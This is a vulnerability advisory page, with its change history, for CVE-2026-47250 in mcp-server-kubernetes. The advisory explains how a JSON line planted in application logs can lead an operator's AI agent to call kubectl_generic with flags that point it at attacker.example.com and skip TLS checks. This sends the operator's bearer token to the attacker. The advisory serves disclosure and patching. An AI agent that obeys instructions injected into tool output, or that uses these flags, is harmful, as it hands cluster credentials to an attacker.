mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

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Advisories
Source ID Title
Github GHSA Github GHSA GHSA-6mx4-4h42-r8vh MCP Server Kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration
Fixes

Solution

No solution given by the vendor.


Workaround

No workaround given by the vendor.

History

Thu, 11 Jun 2026 21:00:00 +0000

Type Values Removed Values Added
First Time appeared Flux159
Flux159 mcp-server-kubernetes
Vendors & Products Flux159
Flux159 mcp-server-kubernetes

Thu, 11 Jun 2026 20:30:00 +0000

Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'poc', 'Technical Impact': 'partial'}, 'version': '2.0.3'}


Thu, 11 Jun 2026 19:00:00 +0000

Type Values Removed Values Added
Description mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.
Title mcp-server-kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration
Weaknesses CWE-88
References
Metrics cvssV3_1

{'score': 6.1, 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N'}


Projects

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cve-icon MITRE

Status: PUBLISHED

Assigner: GitHub_M

Published:

Updated: 2026-06-11T19:35:27.250Z

Reserved: 2026-05-18T22:54:18.273Z

Link: CVE-2026-47250

cve-icon Vulnrichment

Updated: 2026-06-11T19:35:15.599Z

cve-icon NVD

Status : Deferred

Published: 2026-06-11T19:16:46.770

Modified: 2026-06-11T21:01:26.377

Link: CVE-2026-47250

cve-icon Redhat

No data.

cve-icon OpenCVE Enrichment

Updated: 2026-06-11T20:45:10Z

Weaknesses